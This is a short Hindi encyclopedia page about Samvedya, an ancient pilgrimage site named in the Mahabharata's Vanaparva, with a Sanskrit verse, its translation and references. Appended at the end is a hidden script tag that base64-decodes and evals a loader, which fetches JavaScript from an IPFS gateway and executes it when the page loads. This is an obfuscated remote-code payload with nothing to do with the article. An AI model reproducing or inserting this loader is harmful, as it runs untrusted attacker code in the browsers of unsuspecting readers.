एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

संवेद्य

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

संवेद्य नामक प्राचीन तीर्थ का उल्लेख महाभारत, वनपर्व[1] में हुआ है-

'अथ संध्यां समासाद्य संवेद्यं तीर्थमुनमम् उपस्पृश्य नरोविद्यां लभते नात्र संशयः।'

अर्थात 'संध्या के समय श्रेष्ठ तीर्थ संवेद्य में जाकर स्नान करने से मनुष्य की विद्या को लाभ होता है, इसमें संदेह नहीं है।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. वनपर्व 85,1
  2. वनपर्व 85, 2-3
  3. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 929 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>